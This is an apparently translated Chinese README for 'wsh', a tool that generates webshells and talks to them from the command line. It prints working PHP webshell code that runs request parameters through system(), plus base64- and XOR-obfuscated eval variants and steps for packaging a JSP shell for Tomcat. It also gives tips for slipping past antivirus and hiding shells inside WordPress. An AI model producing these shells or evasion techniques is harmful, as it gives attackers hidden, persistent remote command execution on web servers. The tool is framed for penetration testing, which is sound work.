EatonChips/wsh

wsh(发音为 woosh)是一个 WebShell 生成器和命令行界面。这开始时只是一个 http 客户端,因为与 WebShell 交互很痛苦。有一个表格,要发送命令,您必须在输入框中键入并按下按钮。我想要一些更适合我的工作流程并在终端中运行的东西。wsh就这样诞生了。
该客户端具有命令历史记录、日志记录,并且可以配置为使用表单/按钮与先前部署的标准 WebShell 交互。生成器在 php、asp 和 jsp 中创建 WebShell。它们是用随机变量生成的,因此每个变量都有一个唯一的哈希值。它们可以配置白名单、密码,并允许通过自定义标头和参数发送命令。
生成器和客户端可以通过命令行标志或配置文件进行配置,以允许保存适合您的设置,而无需执行我所谓的“—help”舞蹈。配置后,客户端和生成器使用相同的配置文件。

特征

  • 通过命令行与部署的 WebShell 交互
    • 日志记录
  • 在 PHP、JSP 和 ASP 中生成 WebShell
    • IP 白名单
    • 密码保护
    • 通过自定义标头/参数发送命令
    • 文件上传/下载
    • 用于 asp 和 php 的 Base64 编码Shell
    • 用于 asp 和 php 的 XOR 加密 Shell

      用法

      连接

      ```shell wsh [flags]

-X, —method string HTTP method: GET, POST, PUT, PATCH, DELETE (default “GET”) —param string Parameter for sending command —header string Header for sending command -P, —params strings HTTP request parameters -H, —headers strings HTTP request headers -c, —config string Config file -k, —ignore-ssl Ignore invalid certs —log string Log file —prefix string Prepend command: ‘cmd /c’, ‘powershell.exe’, ‘bash’ —timeout int Request timeout in seconds (default 10) —trim-prefix string Trim output prefix —trim-suffix string Trim output suffix -h, —help help for wsh

  1. <a name="gvxJW"></a>
  2. ### 产生
  3. ```shell
  4. wsh generate <language> [flags]
  5. wsh g <language> [flags]
  6. -X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
  7. -p, --param string Parameter for sending command
  8. --header string Header for sending command
  9. -w, --whitelist strings IP addresses to whitelist
  10. -o, --outfile string Output file
  11. --no-file Disable file upload/download capabilities
  12. --pass string Password protect shell
  13. --pass-header string Header for sending password
  14. --pass-param string Parameter for sending password
  15. --xor-header string Header for sending xor key
  16. --xor-key string Key for xor encryption
  17. --xor-param string Parameter for sending xor key
  18. --base64 Base64 encode shell
  19. --minify Minify webshell code
  20. -t, --template string Webshell template file
  21. -h, --help help for generate

客户端使用/文件 IO

我希望客户端与语言无关,因此所有 WebShell 都需要实现相同的上传/下载逻辑。不幸的是,在 jsp 和经典 asp 中本地进行多部分表单上传很痛苦,因此文件在参数中作为 base64 上传。这并不理想,因为最大文件上传大小仅限于最大参数大小。将来我可能会尝试实现多部分表单上传,或者执行多个请求来传输更大的文件。

  1. $ wsh 127.0.0.1:8080/test.php --param cmd
  2. 127.0.0.1> help
  3. get <remote filepath> [local filepath] Download file
  4. put <local filepath> [remote filepath] Upload file
  5. clear Clear screen
  6. exit Exits shell

生成器示例

简单的Shell

以下命令生成一个简单的 php WebShell 并与之交互:

  1. $ wsh generate php --param cmd --no-file -o shell.php
  2. Created shell at shell.php.
  3. $ wsh 127.0.0.1:8080/shell.php --param cmd
  1. <?php
  2. $MfOb = $_REQUEST['cmd'];
  3. $MfOb = trim($MfOb);
  4. system($MfOb);
  5. die;
  6. ?>

命令也可以通过 http 标头发送:

  1. $ wsh generate php --no-file --header user-agent -o shell.php
  2. Created shell at shell.php.
  3. $ wsh 127.0.0.1:8080/shell.php --header user-agent

白名单

  1. $ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

密码保护

密码可以通过参数或标题发送:

  1. $ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
  2. $ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
  3. $ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
  4. $ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

Base64 / XOR 加密

此功能很有趣,但可能需要对模板进行一些修改才能使其有用。在 asp 和 jsp 的情况下,有助于解码 base64 的库是已知的IoCs,将被标记。如果您对使用这些功能感兴趣,我建议您修改模板并进行混淆处理。
与密码保护相同,xor 密钥可以通过参数或标头发送:

  1. $ wsh g php --param cmd --no-file --base64
  2. <?php
  3. eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
  4. ?>
  5. $ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
  6. <?php
  7. $KHhx = $_REQUEST["X-Key"];
  8. $LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
  9. $oooqt = "";
  10. for($YpuI=0; $YpuI<strlen($LqC); ) {
  11. for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
  12. $oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
  13. }
  14. }
  15. eval($oooqt);
  16. ?>

Tomcat Shell

要生成可以部署到 Tomcat 的 WebShell,请创建一个名为 index.jsp 的 jsp Shell 并运行以下命令将其压缩到 war 文件中。
有时,Tomcat 环境没有文件上传/下载所需的库,发出请求时 Shell 会出错。要解决此问题,请使用—no-file标志:

  1. $ wsh g jsp --param cmd --no-file -o index.jsp
  2. $ jar -cvf shell.war index.jsp

模板

使用 go 模板库为生成器增加了很多灵活性。有时,一个 WebShell 会被 AV 捕获,但是我发现在模板文件中添加一堆随机代码通常会使 Shell 看起来足够良性,以允许它在磁盘上持续存在。我在 templates/covert-php.tml 文件中包含了一个示例。
此外,您可以修改这些模板以包含您的姓名/联系信息,以便在渗透测试的用例中归因。

客户端功能

字首

可以指定一个前缀来为发送到 Shell 的每个命令添加一个字符串。这可用于将普通的 cmd Shell 转换为 powerShell Shell:

  1. $ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
  2. 10.0.0.27> ls
  3. Directory: C:\windows\system32\inetsrv
  4. Mode LastWriteTime Length Name
  5. ---- ------------- ------ ----
  6. d----- 5/27/2020 11:49 PM config
  7. d----- 5/27/2020 11:49 PM en
  8. d----- 5/28/2020 12:25 AM en-US
  9. -a---- 5/27/2020 11:49 PM 119808 appcmd.exe

日志记录

日志带有时间戳,并包括与之交互的主机。附加了日志文件,因此请随意为多个会话/主机使用相同的日志文件:

  1. 127.0.0.1:8080/shell.php --param cmd --log localhost.log
  2. Logging to: localhost.log
  3. 127.0.0.1> ls
  4. README.md
  5. cmd
  6. example-configs
  7. ...
  8. [04/20/2020 12:02:17] 127.0.0.1> ls
  9. README.md
  10. cmd
  11. example-configs

修剪前缀/后缀

客户端可以配置为从请求中修剪无关的 html 内容,这在与标准 html 接口 WebShell 交互时很有用,或者如果生成的 Shell 被偷偷地嵌入到 WordPress安装中:

  1. $ wsh 127.0.0.1:8080/index.php -X POST --param cmd
  2. 127.0.0.1> ls
  3. . . .
  4. <div class="pb-2 mt-4 mb-2">
  5. <h2> Output </h2>
  6. </div>
  7. <pre>
  8. README.md
  9. cmd
  10. example-configs
  11. index.php
  12. main.go
  13. templates
  14. </pre>
  15. </div>
  16. . . .
  17. $ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
  18. 127.0.0.1> ls
  19. README.md
  20. cmd
  21. example-configs
  22. index.php
  23. main.go
  24. templates